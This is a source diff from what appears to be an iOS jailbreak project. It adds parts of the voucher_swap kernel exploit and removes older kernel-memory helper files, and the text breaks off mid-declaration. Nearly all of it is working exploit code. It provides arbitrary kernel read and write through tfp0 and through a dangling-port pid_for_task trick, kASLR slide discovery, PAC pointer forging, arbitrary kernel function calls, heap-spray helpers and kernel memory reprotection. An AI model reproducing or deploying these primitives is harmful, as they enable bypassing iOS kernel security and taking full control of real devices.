* Deallocates the specified Mach ports and sets them to MACH_PORT_DEAD.
|
||||
*/
|
||||
void deallocate_ports(mach_port_t *ports, size_t count);
|
||||
|
||||
/*
|
||||
* port_increase_queue_limit
|
||||
*
|
||||
* Description:
|
||||
* Increase the queue limit on the specified Mach port to MACH_PORT_QLIMIT_MAX.
|
||||
*/
|
||||
void port_increase_queue_limit(mach_port_t port);
|
||||
|
||||
/*
|
||||
* port_insert_send_right
|
||||
*
|
||||
* Description:
|
||||
* Insert a send right on the specified port, which must name a receive right.
|
||||
*/
|
||||
void port_insert_send_right(mach_port_t port);
|
||||
|
||||
/*
|
||||
* port_drain_messages
|
||||
*
|
||||
* Description:
|
||||
* Drain all the messages currently queued on the specified port. The messages are passed to
|
||||
* the message_handler block, which is responsible for processing the messages and freeing any
|
||||
* associated resources (e.g. with mach_msg_destroy()).
|
||||
*/
|
||||
void port_drain_messages(mach_port_t port, void (^message_handler)(mach_msg_header_t *));
|
||||
|
||||
/*
|
||||
* port_discard_messages
|
||||
*
|
||||
* Description:
|
||||
* Discard all the messages currently queued on the specified port. The messages are received
|
||||
* and passed directly to mach_msg_destroy().
|
||||
*/
|
||||
void port_discard_messages(mach_port_t port);
|
||||
|
||||
/*
|
||||
* ool_ports_spray_receive
|
||||
*
|
||||
* Description:
|
||||
* Receive all the messages queued on the holding ports and pass the OOL ports descriptors to
|
||||
* the specified handler block. The messages are destroyed after they are processed.
|
||||
*/
|
||||
void ool_ports_spray_receive(mach_port_t *holding_ports, size_t holding_port_count,
|
||||
void (^ool_ports_handler)(mach_port_t *, size_t));
|
||||
|
||||
/*
|
||||
* increase_file_limit
|
||||
*
|
||||
* Description:
|
||||
* Increase our process's limit on the number of open files.
|
||||
*/
|
||||
void increase_file_limit(void);
|
||||
|
||||
/*
|
||||
* pipe_close
|
||||
*
|
||||
* Description:
|
||||
* Close the file descriptors of a pipe.
|
||||
*/
|
||||
void pipe_close(int pipefds[2]);
|
||||
|
||||
/*
|
||||
* create_pipes
|
||||
*
|
||||
* Description:
|
||||
* Create a spray of pipes. On entry, pipe_count specifies the requested number of pipes, and
|
||||
* on return it contains the number of pipes actually created.
|
||||
*
|
||||
* The pipes are returned as an array of file descriptors.
|
||||
*/
|
||||
int *create_pipes(size_t *pipe_count);
|
||||
|
||||
/*
|
||||
* close_pipes
|
||||
*
|
||||
* Description:
|
||||
* Close the pipes in an array.
|
||||
*/
|
||||
void close_pipes(int *pipefds, size_t pipe_count);
|
||||
|
||||
/*
|
||||
* pipe_spray
|
||||
*
|
||||
* Description:
|
||||
* Spray data to the pipes. Note that XNU limits the collective size of all pipe buffers to
|
||||
* 16 MB, so that's the maximum we'll be able to spray.
|
||||
*
|
||||
* Note that the last byte of the sprayed data won't be written to memory!
|
||||
*
|
||||
* Parameters:
|
||||
* pipefds The pipe file descriptors.
|
||||
* pipe_count The number of pipe fd pairs.
|
||||
* pipe_buffer The data to spray.
|
||||
* pipe_buffer_size The size of the data to spray.
|
||||
* update A callback to modify the data on each iteration.
|
||||
*
|
||||
* Returns:
|
||||
* Returns the number of pipes actually filled.
|
||||
*/
|
||||
size_t pipe_spray(const int *pipefds, size_t pipe_count,
|
||||
void *pipe_buffer, size_t pipe_buffer_size,
|
||||
void (^update)(uint32_t pipe_index, void *data, size_t size));
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,44 @@
|
||||
/*
|
||||
* kernel_call.c
|
||||
* Brandon Azad
|
||||
*/
|
||||
#include "kernel_call.h"
|
||||
|
||||
#include <assert.h>
|
||||
|
||||
#include "pac.h"
|
||||
#include "user_client.h"
|
||||
#include "log.h"
|
||||
|
||||
// ---- Public API --------------------------------------------------------------------------------
|
||||
|
||||
bool
|
||||
kernel_call_init() {
|
||||
bool ok = stage1_kernel_call_init()
|
||||
&& stage2_kernel_call_init()
|
||||
&& stage3_kernel_call_init();
|
||||
if (!ok) {
|
||||
kernel_call_deinit();
|
||||
}
|
||||
return ok;
|
||||
}
|
||||
|
||||
void
|
||||
kernel_call_deinit() {
|
||||
stage3_kernel_call_deinit();
|
||||
stage2_kernel_call_deinit();
|
||||
stage1_kernel_call_deinit();
|
||||
}
|
||||
|
||||
uint32_t
|
||||
kernel_call_7(uint64_t function, size_t argument_count, ...) {
|
||||
assert(argument_count <= 7);
|
||||
uint64_t arguments[7];
|
||||
va_list ap;
|
||||
va_start(ap, argument_count);
|
||||
for (size_t i = 0; i < argument_count && i < 7; i++) {
|
||||
arguments[i] = va_arg(ap, uint64_t);
|
||||
}
|
||||
va_end(ap);
|
||||
return kernel_call_7v(function, argument_count, arguments);
|
||||
}
|
||||
@@ -0,0 +1,93 @@
|
||||
/*
|
||||
* kernel_call.h
|
||||
* Brandon Azad
|
||||
*/
|
||||
#ifndef VOUCHER_SWAP__KERNEL_CALL_H_
|
||||
#define VOUCHER_SWAP__KERNEL_CALL_H_
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
|
||||
/*
|
||||
* kernel_call_init
|
||||
*
|
||||
* Description:
|
||||
* Initialize kernel_call functions.
|
||||
*/
|
||||
bool kernel_call_init(void);
|
||||
|
||||
/*
|
||||
* kernel_call_deinit
|
||||
*
|
||||
* Description:
|
||||
* Deinitialize the kernel call subsystem and restore the kernel to a safe state.
|
||||
*/
|
||||
void kernel_call_deinit(void);
|
||||
|
||||
/*
|
||||
* kernel_call_7
|
||||
*
|
||||
* Description:
|
||||
* Call a kernel function with the specified arguments.
|
||||
*
|
||||
* Restrictions:
|
||||
* See kernel_call_7v().
|
||||
*/
|
||||
uint32_t kernel_call_7(uint64_t function, size_t argument_count, ...);
|
||||
|
||||
/*
|
||||
* kernel_call_7v
|
||||
*
|
||||
* Description:
|
||||
* Call a kernel function with the specified arguments.
|
||||
*
|
||||
* Restrictions:
|
||||
* At most 7 arguments can be passed.
|
||||
* arguments[0] must be nonzero.
|
||||
* The return value is truncated to 32 bits.
|
||||
*/
|
||||
uint32_t kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]);
|
||||
|
||||
/*
|
||||
* kernel_forge_pacia
|
||||
*
|
||||
* Description:
|
||||
* Forge a PACIA pointer using the kernel forging gadget.
|
||||
*/
|
||||
uint64_t kernel_forge_pacia(uint64_t pointer, uint64_t context);
|
||||
|
||||
/*
|
||||
* kernel_forge_pacia_with_type
|
||||
*
|
||||
* Description:
|
||||
* Forge a PACIA pointer using the specified address, with the upper 16 bits replaced by the
|
||||
* type code, as context.
|
||||
*/
|
||||
uint64_t kernel_forge_pacia_with_type(uint64_t pointer, uint64_t address, uint16_t type);
|
||||
|
||||
/*
|
||||
* kernel_forge_pacda
|
||||
*
|
||||
* Description:
|
||||
* Forge a PACDA pointer using the kernel forging gadget.
|
||||
*/
|
||||
uint64_t kernel_forge_pacda(uint64_t pointer, uint64_t context);
|
||||
|
||||
/*
|
||||
* kernel_xpaci
|
||||
*
|
||||
* Description:
|
||||
* Strip a PACIx code from a kernel pointer.
|
||||
*/
|
||||
uint64_t kernel_xpaci(uint64_t pointer);
|
||||
|
||||
/*
|
||||
* kernel_xpacd
|
||||
*
|
||||
* Description:
|
||||
* Strip a PACDx code from a kernel pointer.
|
||||
*/
|
||||
uint64_t kernel_xpacd(uint64_t pointer);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,111 @@
|
||||
/*
|
||||
* kernel_memory.c
|
||||
* Brandon Azad
|
||||
*/
|
||||
#define KERNEL_MEMORY_EXTERN
|
||||
#include "kernel_memory.h"
|
||||
|
||||
#include "log.h"
|
||||
#include "mach_vm.h"
|
||||
#include "parameters.h"
|
||||
|
||||
// ---- Kernel memory functions -------------------------------------------------------------------
|
||||
|
||||
bool
|
||||
kernel_read(uint64_t address, void *data, size_t size) {
|
||||
extern bool rkbuffer(uint64_t kaddr, void* buffer, size_t length);
|
||||
return rkbuffer(address, data, size);
|
||||
}
|
||||
|
||||
bool
|
||||
kernel_write(uint64_t address, const void *data, size_t size) {
|
||||
extern bool wkbuffer(uint64_t kaddr, void* buffer, size_t length);
|
||||
return wkbuffer(address, (void *)data, size);
|
||||
}
|
||||
|
||||
uint8_t
|
||||
kernel_read8(uint64_t address) {
|
||||
uint8_t value;
|
||||
bool ok = kernel_read(address, &value, sizeof(value));
|
||||
if (!ok) {
|
||||
return -1;
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
uint16_t
|
||||
kernel_read16(uint64_t address) {
|
||||
uint16_t value;
|
||||
bool ok = kernel_read(address, &value, sizeof(value));
|
||||
if (!ok) {
|
||||
return -1;
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
uint32_t
|
||||
kernel_read32(uint64_t address) {
|
||||
uint32_t value;
|
||||
bool ok = kernel_read(address, &value, sizeof(value));
|
||||
if (!ok) {
|
||||
return -1;
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
uint64_t
|
||||
kernel_read64(uint64_t address) {
|
||||
uint64_t value;
|
||||
bool ok = kernel_read(address, &value, sizeof(value));
|
||||
if (!ok) {
|
||||
return -1;
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
bool
|
||||
kernel_write8(uint64_t address, uint8_t value) {
|
||||
return kernel_write(address, &value, sizeof(value));
|
||||
}
|
||||
|
||||
bool
|
||||
kernel_write16(uint64_t address, uint16_t value) {
|
||||
return kernel_write(address, &value, sizeof(value));
|
||||
}
|
||||
|
||||
bool
|
||||
kernel_write32(uint64_t address, uint32_t value) {
|
||||
return kernel_write(address, &value, sizeof(value));
|
||||
}
|
||||
|
||||
bool
|
||||
kernel_write64(uint64_t address, uint64_t value) {
|
||||
return kernel_write(address, &value, sizeof(value));
|
||||
}
|
||||
|
||||
// ---- Kernel utility functions ------------------------------------------------------------------
|
||||
|
||||
bool
|
||||
kernel_ipc_port_lookup(uint64_t task, mach_port_name_t port_name,
|
||||
uint64_t *ipc_port, uint64_t *ipc_entry) {
|
||||
// Get the task's ipc_space.
|
||||
uint64_t itk_space = kernel_read64(task + OFFSET(task, itk_space));
|
||||
// Get the size of the table.
|
||||
uint32_t is_table_size = kernel_read32(itk_space + OFFSET(ipc_space, is_table_size));
|
||||
// Get the index of the port and check that it is in-bounds.
|
||||
uint32_t port_index = MACH_PORT_INDEX(port_name);
|
||||
if (port_index >= is_table_size) {
|
||||
return false;
|
||||
}
|
||||
// Get the space's is_table and compute the address of this port's entry.
|
||||
uint64_t is_table = kernel_read64(itk_space + OFFSET(ipc_space, is_table));
|
||||
uint64_t entry = is_table + port_index * SIZE(ipc_entry);
|
||||
if (ipc_entry != NULL) {
|
||||
*ipc_entry = entry;
|
||||
}
|
||||
// Get the address of the port if requested.
|
||||
if (ipc_port != NULL) {
|
||||
*ipc_port = kernel_read64(entry + OFFSET(ipc_entry, ie_object));
|
||||
}
|
||||
return true;
|
||||
}
|
||||
@@ -0,0 +1,132 @@
|
||||
/*
|
||||
* kernel_memory.h
|
||||
* Brandon Azad
|
||||
*/
|
||||
#ifndef VOUCHER_SWAP__KERNEL_MEMORY_H_
|
||||
#define VOUCHER_SWAP__KERNEL_MEMORY_H_
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#ifdef KERNEL_MEMORY_EXTERN
|
||||
#define extern KERNEL_MEMORY_EXTERN
|
||||
#endif
|
||||
|
||||
/*
|
||||
* kernel_task_port
|
||||
*
|
||||
* Description:
|
||||
* The kernel task port.
|
||||
*/
|
||||
extern mach_port_t kernel_task_port;
|
||||
|
||||
/*
|
||||
* kernel_task
|
||||
*
|
||||
* Description:
|
||||
* The address of the kernel_task in kernel memory.
|
||||
*/
|
||||
extern uint64_t kernel_task;
|
||||
|
||||
/*
|
||||
* current_task
|
||||
*
|
||||
* Description:
|
||||
* The address of the current task in kernel memory.
|
||||
*/
|
||||
extern uint64_t current_task;
|
||||
|
||||
/*
|
||||
* kernel_read
|
||||
*
|
||||
* Description:
|
||||
* Read data from kernel memory.
|
||||
*/
|
||||
bool kernel_read(uint64_t address, void *data, size_t size);
|
||||
|
||||
/*
|
||||
* kernel_write
|
||||
*
|
||||
* Description:
|
||||
* Write data to kernel memory.
|
||||
*/
|
||||
bool kernel_write(uint64_t address, const void *data, size_t size);
|
||||
|
||||
/*
|
||||
* kernel_read8
|
||||
*
|
||||
* Description:
|
||||
* Read a single byte from kernel memory. If the read fails, -1 is returned.
|
||||
*/
|
||||
uint8_t kernel_read8(uint64_t address);
|
||||
|
||||
/*
|
||||
* kernel_read16
|
||||
*
|
||||
* Description:
|
||||
* Read a 16-bit value from kernel memory. If the read fails, -1 is returned.
|
||||
*/
|
||||
uint16_t kernel_read16(uint64_t address);
|
||||
|
||||
/*
|
||||
* kernel_read32
|
||||
*
|
||||
* Description:
|
||||
* Read a 32-bit value from kernel memory. If the read fails, -1 is returned.
|
||||
*/
|
||||
uint32_t kernel_read32(uint64_t address);
|
||||
|
||||
/*
|
||||
* kernel_read64
|
||||
*
|
||||
* Description:
|
||||
* Read a 64-bit value from kernel memory. If the read fails, -1 is returned.
|
||||
*/
|
||||
uint64_t kernel_read64(uint64_t address);
|
||||
|
||||
/*
|
||||
* kernel_write8
|
||||
*
|
||||
* Description:
|
||||
* Write a single byte to kernel memory.
|
||||
*/
|
||||
bool kernel_write8(uint64_t address, uint8_t value);
|
||||
|
||||
/*
|
||||
* kernel_write16
|
||||
*
|
||||
* Description:
|
||||
* Write a 16-bit value to kernel memory.
|
||||
*/
|
||||
bool kernel_write16(uint64_t address, uint16_t value);
|
||||
|
||||
/*
|
||||
* kernel_write32
|
||||
*
|
||||
* Description:
|
||||
* Write a 32-bit value to kernel memory.
|
||||
*/
|
||||
bool kernel_write32(uint64_t address, uint32_t value);
|
||||
|
||||
/*
|
||||
* kernel_write64
|
||||
*
|
||||
* Description:
|
||||
* Write a 64-bit value to kernel memory.
|
||||
*/
|
||||
bool kernel_write64(uint64_t address, uint64_t value);
|
||||
|
||||
/*
|
||||
* kernel_ipc_port_lookup
|
||||
*
|
||||
* Description:
|
||||
* Get the address of the ipc_port and ipc_entry for a Mach port name.
|
||||
*/
|
||||
bool kernel_ipc_port_lookup(uint64_t task, mach_port_name_t port_name,
|
||||
uint64_t *ipc_port, uint64_t *ipc_entry);
|
||||
|
||||
#undef extern
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,90 @@
|
||||
/*
|
||||
* kernel_slide.c
|
||||
* Brandon Azad
|
||||
*/
|
||||
#define KERNEL_SLIDE_EXTERN
|
||||
#include "kernel_slide.h"
|
||||
|
||||
#include <assert.h>
|
||||
#include <mach/vm_region.h>
|
||||
#include <mach-o/loader.h>
|
||||
|
||||
#include "kernel_memory.h"
|
||||
#include "log.h"
|
||||
#include "parameters.h"
|
||||
#include "platform.h"
|
||||
|
||||
uint64_t kernel_slide = -1;
|
||||
|
||||
/*
|
||||
* is_kernel_base
|
||||
*
|
||||
* Description:
|
||||
* Checks if the given address is the kernel base.
|
||||
*/
|
||||
static bool
|
||||
is_kernel_base(uint64_t base) {
|
||||
// Read the data at the base address as a Mach-O header.
|
||||
struct mach_header_64 header = {};
|
||||
bool ok = kernel_read(base, &header, sizeof(header));
|
||||
if (!ok) {
|
||||
return false;
|
||||
}
|
||||
// Validate that this looks like the kernel base. We don't check the CPU subtype since it
|
||||
// may not exactly match the current platform's CPU subtype (e.g. on iPhone10,1,
|
||||
// header.cpusubtype is CPU_SUBTYPE_ARM64_ALL while platform.cpu_subtype is
|
||||
// CPU_SUBTYPE_ARM64_V8).
|
||||
if (!(header.magic == MH_MAGIC_64
|
||||
&& header.cputype == platform.cpu_type
|
||||
&& header.filetype == MH_EXECUTE
|
||||
&& header.ncmds > 2)) {
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool
|
||||
kernel_slide_init() {
|
||||
if (kernel_slide != -1) {
|
||||
return true;
|
||||
}
|
||||
// Get the address of the host port.
|
||||
mach_port_t host = mach_host_self();
|
||||
assert(MACH_PORT_VALID(host));
|
||||
uint64_t host_port;
|
||||
bool ok = kernel_ipc_port_lookup(current_task, host, &host_port, NULL);
|
||||
mach_port_deallocate(mach_task_self(), host);
|
||||
if (!ok) {
|
||||
ERROR("could not lookup host port");
|
||||
return false;
|
||||
}
|
||||
// Get the address of realhost.
|
||||
uint64_t realhost = kernel_read64(host_port + OFFSET(ipc_port, ip_kobject));
|
||||
return kernel_slide_init_with_kernel_image_address(realhost);
|
||||
}
|
||||
|
||||
bool
|
||||
kernel_slide_init_with_kernel_image_address(uint64_t address) {
|
||||
if (kernel_slide != -1) {
|
||||
return true;
|
||||
}
|
||||
// Find the highest possible kernel base address that could still correspond to the given
|
||||
// kernel image address.
|
||||
uint64_t base = STATIC_ADDRESS(kernel_base);
|
||||
assert(address > base);
|
||||
base = base + ((address - base) / kernel_slide_step) * kernel_slide_step;
|
||||
// Now walk backwards from that kernel base one kernel slide at a time until we find the
|
||||
// real kernel base.
|
||||
while (base >= STATIC_ADDRESS(kernel_base)) {
|
||||
bool found = is_kernel_base(base);
|
||||
if (found) {
|
||||
kernel_slide = base - STATIC_ADDRESS(kernel_base);
|
||||
DEBUG_TRACE(1, "found kernel slide 0x%016llx", kernel_slide);
|
||||
return true;
|
||||
}
|
||||
base -= kernel_slide_step;
|
||||
}
|
||||
ERROR("could not find kernel base");
|
||||
ERROR("could not determine kernel slide");
|
||||
return false;
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
/*
|
||||
* kernel_slide.h
|
||||
* Brandon Azad
|
||||
*/
|
||||
#ifndef VOUCHER_SWAP__KERNEL_SLIDE_H_
|
||||
#define VOUCHER_SWAP__KERNEL_SLIDE_H_
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
/*
|
||||
* kernel_slide
|
||||
*
|
||||
* Description:
|
||||
* The kASLR slide.
|
||||
*/
|
||||
extern uint64_t kernel_slide;
|
||||
|
||||
/*
|
||||
* kernel_slide_init
|
||||
*
|
||||
* Description:
|
||||
* Find the value of the kernel slide using kernel_read() and current_task.
|
||||
*/
|
||||
bool kernel_slide_init(void);
|
||||
|
||||
/*
|
||||
* kernel_slide_init_with_kernel_image_address
|
||||
*
|
||||
* Description:
|
||||
* Find the value of the kernel slide using kernel_read(), starting with an address that is
|
||||
* known to reside within the kernel image.
|
||||
*/
|
||||
bool kernel_slide_init_with_kernel_image_address(uint64_t address);
|
||||
|
||||
#undef extern
|
||||
|
||||
#endif
|
||||
@@ -1,7 +0,0 @@
|
||||
#include <mach/mach.h>
|
||||
#include <inttypes.h>
|
||||
|
||||
mach_port_t prepare_user_client(void);
|
||||
void init_kexecute(uint64_t add_x0_x0_0x40_ret);
|
||||
void term_kexecute(void);
|
||||
uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6);
|
||||
@@ -1,284 +0,0 @@
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
#include "kmem.h"
|
||||
#include "kutils.h"
|
||||
#include <common.h>
|
||||
|
||||
// the exploit bootstraps the full kernel memory read/write with a fake
|
||||
// task which just allows reading via the bsd_info->pid trick
|
||||
// this first port is kmem_read_port
|
||||
mach_port_t kmem_read_port = MACH_PORT_NULL;
|
||||
void prepare_rk_via_kmem_read_port(mach_port_t port) {
|
||||
kmem_read_port = port;
|
||||
}
|
||||
|
||||
mach_port_t tfp0 = MACH_PORT_NULL;
|
||||
void prepare_rwk_via_tfp0(mach_port_t port) {
|
||||
tfp0 = port;
|
||||
}
|
||||
|
||||
void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0) {
|
||||
tfp0 = fake_tfp0;
|
||||
}
|
||||
|
||||
int have_kmem_read() {
|
||||
return (kmem_read_port != MACH_PORT_NULL) || (tfp0 != MACH_PORT_NULL);
|
||||
}
|
||||
|
||||
int have_kmem_write() {
|
||||
return (tfp0 != MACH_PORT_NULL);
|
||||
}
|
||||
|
||||
size_t kread(uint64_t where, void *p, size_t size) {
|
||||
int rv;
|
||||
size_t offset = 0;
|
||||
while (offset < size) {
|
||||
mach_vm_size_t sz, chunk = 2048;
|
||||
if (chunk > size - offset) {
|
||||
chunk = size - offset;
|
||||
}
|
||||
rv = mach_vm_read_overwrite(tfp0,
|
||||
where + offset,
|
||||
chunk,
|
||||
(mach_vm_address_t)p + offset,
|
||||
&sz);
|
||||
if (rv || sz == 0) {
|
||||
LOG("error reading kernel @%p\n", (void *)(offset + where));
|
||||
break;
|
||||
}
|
||||
offset += sz;
|
||||
}
|
||||
return offset;
|
||||
}
|
||||
|
||||
size_t kwrite(uint64_t where, const void *p, size_t size) {
|
||||
int rv;
|
||||
size_t offset = 0;
|
||||
while (offset < size) {
|
||||
size_t chunk = 2048;
|
||||
if (chunk > size - offset) {
|
||||
chunk = size - offset;
|
||||
}
|
||||
rv = mach_vm_write(tfp0,
|
||||
where + offset,
|
||||
(mach_vm_offset_t)p + offset,
|
||||
(mach_msg_type_number_t)chunk);
|
||||
if (rv) {
|
||||
LOG("error writing kernel @%p\n", (void *)(offset + where));
|
||||
break;
|
||||
}
|
||||
offset += chunk;
|
||||
}
|
||||
return offset;
|
||||
}
|
||||
|
||||
|
||||
bool wkbuffer(uint64_t kaddr, void* buffer, size_t length) {
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
LOG("attempt to write to kernel memory before any kernel memory write primitives available\n");
|
||||
sleep(3);
|
||||
return false;
|
||||
}
|
||||
|
||||
return (kwrite(kaddr, buffer, length) == length);
|
||||
}
|
||||
|
||||
bool rkbuffer(uint64_t kaddr, void* buffer, size_t length) {
|
||||
return (kread(kaddr, buffer, length) == length);
|
||||
}
|
||||
|
||||
void WriteKernel32(uint64_t kaddr, uint32_t val) {
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
LOG("attempt to write to kernel memory before any kernel memory write primitives available\n");
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
wkbuffer(kaddr, &val, sizeof(val));
|
||||
}
|
||||
|
||||
void WriteKernel64(uint64_t kaddr, uint64_t val) {
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
LOG("attempt to write to kernel memory before any kernel memory write primitives available\n");
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
wkbuffer(kaddr, &val, sizeof(val));
|
||||
}
|
||||
|
||||
uint32_t rk32_via_kmem_read_port(uint64_t kaddr) {
|
||||
kern_return_t err;
|
||||
if (kmem_read_port == MACH_PORT_NULL) {
|
||||
LOG("kmem_read_port not set, have you called prepare_rk?\n");
|
||||
sleep(10);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
mach_port_context_t context = (mach_port_context_t)kaddr - 0x10;
|
||||
err = mach_port_set_context(mach_task_self(), kmem_read_port, context);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("error setting context off of dangling port: %x %s\n", err, mach_error_string(err));
|
||||
sleep(10);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// now do the read:
|
||||
uint32_t val = 0;
|
||||
err = pid_for_task(kmem_read_port, (int*)&val);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("error calling pid_for_task %x %s", err, mach_error_string(err));
|
||||
sleep(10);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return val;
|
||||
}
|
||||
|
||||
uint32_t rk32_via_tfp0(uint64_t kaddr) {
|
||||
uint32_t val = 0;
|
||||
rkbuffer(kaddr, &val, sizeof(val));
|
||||
return val;
|
||||
}
|
||||
|
||||
uint64_t rk64_via_kmem_read_port(uint64_t kaddr) {
|
||||
uint64_t lower = rk32_via_kmem_read_port(kaddr);
|
||||
uint64_t higher = rk32_via_kmem_read_port(kaddr+4);
|
||||
uint64_t full = ((higher<<32) | lower);
|
||||
return full;
|
||||
}
|
||||
|
||||
uint64_t rk64_via_tfp0(uint64_t kaddr) {
|
||||
uint64_t val = 0;
|
||||
rkbuffer(kaddr, &val, sizeof(val));
|
||||
return val;
|
||||
}
|
||||
|
||||
uint32_t ReadKernel32(uint64_t kaddr) {
|
||||
if (tfp0 != MACH_PORT_NULL) {
|
||||
return rk32_via_tfp0(kaddr);
|
||||
}
|
||||
|
||||
if (kmem_read_port != MACH_PORT_NULL) {
|
||||
return rk32_via_kmem_read_port(kaddr);
|
||||
}
|
||||
|
||||
LOG("attempt to read kernel memory but no kernel memory read primitives available\n");
|
||||
sleep(3);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
uint64_t ReadKernel64(uint64_t kaddr) {
|
||||
if (tfp0 != MACH_PORT_NULL) {
|
||||
return rk64_via_tfp0(kaddr);
|
||||
}
|
||||
|
||||
if (kmem_read_port != MACH_PORT_NULL) {
|
||||
return rk64_via_kmem_read_port(kaddr);
|
||||
}
|
||||
|
||||
LOG("attempt to read kernel memory but no kernel memory read primitives available\n");
|
||||
sleep(3);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
const uint64_t kernel_address_space_base = 0xffff000000000000;
|
||||
void kmemcpy(uint64_t dest, uint64_t src, uint32_t length) {
|
||||
if (dest >= kernel_address_space_base) {
|
||||
// copy to kernel:
|
||||
wkbuffer(dest, (void*) src, length);
|
||||
} else {
|
||||
// copy from kernel
|
||||
rkbuffer(src, (void*)dest, length);
|
||||
}
|
||||
}
|
||||
|
||||
uint64_t kmem_alloc(uint64_t size) {
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
LOG("attempt to allocate kernel memory before any kernel memory write primitives available\n");
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
mach_vm_address_t addr = 0;
|
||||
mach_vm_size_t ksize = round_page_kernel(size);
|
||||
err = mach_vm_allocate(tfp0, &addr, ksize, VM_FLAGS_ANYWHERE);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to allocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
return addr;
|
||||
}
|
||||
|
||||
uint64_t kmem_alloc_wired(uint64_t size) {
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
LOG("attempt to allocate kernel memory before any kernel memory write primitives available\n");
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
mach_vm_address_t addr = 0;
|
||||
mach_vm_size_t ksize = round_page_kernel(size);
|
||||
|
||||
LOG("vm_kernel_page_size: %lx\n", vm_kernel_page_size);
|
||||
|
||||
err = mach_vm_allocate(tfp0, &addr, ksize+0x4000, VM_FLAGS_ANYWHERE);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to allocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
|
||||
LOG("allocated address: %llx\n", addr);
|
||||
|
||||
addr += 0x3fff;
|
||||
addr &= ~0x3fffull;
|
||||
|
||||
LOG("address to wire: %llx\n", addr);
|
||||
|
||||
err = mach_vm_wire(fake_host_priv(), tfp0, addr, ksize, VM_PROT_READ|VM_PROT_WRITE);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to wire kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
return addr;
|
||||
}
|
||||
|
||||
void kmem_free(uint64_t kaddr, uint64_t size) {
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
LOG("attempt to deallocate kernel memory before any kernel memory write primitives available\n");
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
mach_vm_size_t ksize = round_page_kernel(size);
|
||||
err = mach_vm_deallocate(tfp0, kaddr, ksize);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to deallocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
void kmem_protect(uint64_t kaddr, uint32_t size, int prot) {
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
LOG("attempt to change protection of kernel memory before any kernel memory write primitives available\n");
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
kern_return_t err;
|
||||
err = mach_vm_protect(tfp0, (mach_vm_address_t)kaddr, (mach_vm_size_t)size, 0, (vm_prot_t)prot);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to change protection of kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
}
|
||||
@@ -1,80 +0,0 @@
|
||||
#ifndef kmem_h
|
||||
#define kmem_h
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
/***** mach_vm.h *****/
|
||||
kern_return_t mach_vm_read(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
vm_offset_t *data,
|
||||
mach_msg_type_number_t *dataCnt);
|
||||
|
||||
kern_return_t mach_vm_write(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
vm_offset_t data,
|
||||
mach_msg_type_number_t dataCnt);
|
||||
|
||||
kern_return_t mach_vm_read_overwrite(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
mach_vm_address_t data,
|
||||
mach_vm_size_t *outsize);
|
||||
|
||||
kern_return_t mach_vm_allocate(
|
||||
